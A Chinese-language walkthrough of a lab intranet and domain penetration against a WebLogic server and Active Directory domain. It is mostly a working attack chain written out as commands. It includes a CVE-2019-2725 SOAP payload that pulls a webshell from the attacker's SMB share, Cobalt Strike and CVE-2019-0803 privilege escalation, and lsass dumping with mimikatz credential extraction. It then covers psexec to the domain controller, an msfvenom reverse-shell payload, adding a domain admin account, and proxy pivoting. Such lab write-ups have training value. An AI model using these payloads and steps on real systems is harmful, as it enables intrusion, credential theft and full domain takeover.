内网渗透之域渗透
文章目录
0x01 环境介绍
1.实验环境靶场
此拓扑图不是本实验图,这个图只是为了便于读者理解,内网中有哪些,东西,其实本实验和此拓扑图是有关联的
配置信息
服务名称 | IP地址 | 系统 | 应用 |
---|---|---|---|
DC | 10.10.10.10 | windows server 2012 R2 | AD 域 |
WEB | IP1:10.10.10.80 IP2:192.168.111.80 | winsome server 2008 | Weblogic 10.3.6 MSSQL 2008 |
PC | IP1:10.10.10.201 IP2:192.168.111.201 | windows 7 | |
攻击机 | IP:192.168.111.1 win10 IP:192.168.111.5 kali |
2.域环境初始化
登录 web 主机启动服务,默认密码是 1qaz@WSX 需要登录时修改
修改密码为 zaq1XSW@
访问路径:C:\Oracle\Middleware\user_projects\domains\base_domain
双击 startWebLogic 启动脚本程序
3.Kali 环境准备
添加一块 NAT 模式网卡
修改虚拟网络地址
修改完成后开启虚拟机
0x02 WebLogic 漏洞利用并 getshell
1.信息收集
全端口扫描
┌──(root💀fengzilin55)-[~/桌面]
└─# nmap -p- -T5 192.168.111.80 -o web
常用端口是开放状态 1433 是 mssql 7001 是weblogic 服务,我们手工在服务器上开启的服务
我们使用 weblogicScan 工具扫描一下
上传工具到 Kali
┌──(root💀fengzilin55)-[~/桌面]
└─# rz
┌──(root💀fengzilin55)-[~]
└─# unzip WeblogicScan-master.zip
┌──(root💀fengzilin55)-[~]
└─# cd WeblogicScan-master
┌──(root💀fengzilin55)-[~/WeblogicScan-master]
└─# python3 WeblogicScan.py 192.168.111.80 7001
可以看到一共存在 2 个CVE ,我们使用 CVE-2019-2725 使用该漏洞拿到 shell,
2.利用 CVE-2019-2725
本次使用的冰蝎是在 kali linux 环境下使用 需要自行下载冰蝎
Kali 搭建 smbserver 通过命令执行直接 copy 冰蝎 马到服务器上
拷贝 冰蝎 server 目录下的木马
┌──(root??fengzilin55)-[~/server]
└─# cp /root/server/shell.jsp /share
启动 smbserver 名称为 share 目录为 /root/
┌──(root💀fengzilin55)-[~/桌面]
└─# cd /share
┌──(root💀fengzilin55)-[/share]
└─# impacket-smbserver share /share/ #在当前创建的 share目录下启动 SMB server,共享名为 share
注:下载文件 copy \\IP\ShareName\file.exe file.exe
打开 burpsuite
将 POC 复制 Repeater 中进行发包
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.111.80:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
DNT: 1
Connection: close
Content-Type: text/xml
Content-Length: 839
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>copy \\192.168.111.5\share\shell.jsp servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\1.jsp </string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
再次发送
去服务器上检查拷贝情况,访问路径
C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war
如果在 kali Linux 下运行冰蝎出现以下问题请访问https://openjfx.cn/dl/
下载完成后,将数据包解压,将 lib 目录拷贝至冰蝎同目录下
运行 冰蝎
┌──(root💀fengzilin55)-[~]
└─# java -jar Behinder.jar
冰蝎连接路径
http://192.168.111.80:7001/_async/1.jsp
rebeyond
连接成功
查看权限
whoami
查看打了哪些补丁
systeminfo
0x03 域渗透-横向渗透获取域控最高权限
1.Cobalt Strike 介绍
Cobalt Strike 是一个为对手模拟和红队行动而设计的平台,主要用于执行有目标的攻击和模拟高级威胁者的后渗透行动。
2.Cobalt Strike 部署
上传 Cobalt Strike 4 进入目录下
添加执行权限
┌──(root💀fengzilin55)-[~/dc]└─# chmod +x start.sh teamserver
运行服务端
┌──(root💀fengzilin55)-[~/dc]└─# ./teamserver 192.168.111.5 123456
运行客户端
┌──(root💀fengzilin55)-[~/dc]└─# ./start.sh
用户名随意填写,CS 支持多人协助工作,密码是 123456
3.创建监听
启动服务端的时候生成了一段 hash 确认 hash 没错点击确认即可。
创建监听
添加
生成 exe
4.上传相关利用工具
使用冰蝎将生成的木马传入这里
C:/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/
根据前面系统没有安装什么补丁,我们直接利用工具提权即可
[01]: KB2999226[02]: KB958488[03]: KB976902
把我们后面使用的工具全部上传,提权工具以及读取密码的工具上传
5.反弹 system 权限的 shell 给cs 服务
先切换到我们上传文件的目录,运行 web.exe 返回一个 de1ay 用户的 shell
提示:使用 shift+insert 可以粘贴到冰蝎终端
cd C:/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/web.exe
打开会话窗口
设置命令执行周期,默认是 60秒 我们修改为 2 秒
sleep 2
提权成功
shell CVE-2019-0803.exe cmd "start web"
我们在 system 中也设置一下
sleep 2
6.明文读取密码
shell procdump64.exe -accepteula -ma lsass.exe lsass.dmp
解密,这里数字卫士没有拦击并不说明 mimikatz 是免杀的,实际环境如果 mimikatz 不是免杀的需要将 lsass.dmp 文件拖回本地放至相同的系统中进行解密。
shell mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit >pass.txt
下载 pass.txt 文件
download pass.txt
查看密码文件 密码文件会放在 cs 的 downloads 目录下
┌──(root💀fengzilin55)-[~/dc]└─# cd downloads ┌──(root💀fengzilin55)-[~/dc/downloads]└─# ls5bd3782f3
┌──(root💀fengzilin55)-[~/dc/downloads]└─# cat 5bd3782f3
7.域信息收集
mssql@de1ay 1qaz@WSX de1ay@de1ay 1qaz@WSXde1ay@WEB 该用户是我们登录系统用的,密码是登录时自行修改的。
查看网络信息找到域控
shell ipconfig /all
DNS 服务器 10.10.10.10 也就是域控。 找到 DC 的主机名
shell net group "domain controllers" /domain
主机名:DC.de1ay.com
8.通过凭证连接域控反弹域控 shell
创建新的监听。
恢复初始凭证
rev2self
make_token DE1AY\de1ay 1qaz@WSX #通过前面获取的账号信息生成新的凭证
psexec DC C$ smb
域控上线
拿到域控了 我们开始渗透内网主机
9.小结
扫描到两台域主机 10.10.10.10 根据之前收集到的信息我们知道。10.10.10.10 是域控 的 IP ,主机名为 DC
0x04内网横向渗透
使用cs上线的web服务扫描该内网的主机
net computers de1ay.com
使用cs扫描内网主机的端口开放情况
portscan 10.10.10.201/24 1-1024,3389
得该服务器的权限,我们生成msf木马程序,反弹shell,然后使用代理来攻击内网主机 IP
┌──(root💀fengzilin55)-[/var/www/html]└─# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.111.5 LPORT=1234 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/1.exe
生成的木马使用冰蝎传入该网站,然后是终端运行木马
使用msf监听
msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set LHOST 192.168.111.5msf6 exploit(multi/handler) > set LPORT 1234msf6 exploit(multi/handler) > run
使用msf 自动添加路由
meterpreter > run post/multi/manage/autoroute
查看路由
meterpreter > run autoroute -p
进入shell
添加域用户
shellnet user test Aa123456! /add /domain //添加域用户net group "domain admins" test /add /domain //将用户加入域管理员组
退出shell 退出 meterpreter
设置代理
msf6 auxiliary(server/socks_proxy) > set SRVHOST 192.168.111.5msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080msf6 auxiliary(server/socks_proxy) > run
使用代理远程连接桌面
┌──(root💀fengzilin55)-[/var/www/html]└─# proxychains rdesktop 10.10.10.201
使用该创建的用户登录
登录成功
0x05 总结
内网渗透思路:渗透内网,终极目标就是获取域控权限。
从获取到内网的一台主机开始,首先就对该主机进行信息收集,可以由以下几个方面来进行信息的收集:是否存在多个网段、是否存在域环境、查看服务/端口信息、查看当前用户权限。有域环境则想办法定位域控的IP,然后使用hash获取域密码。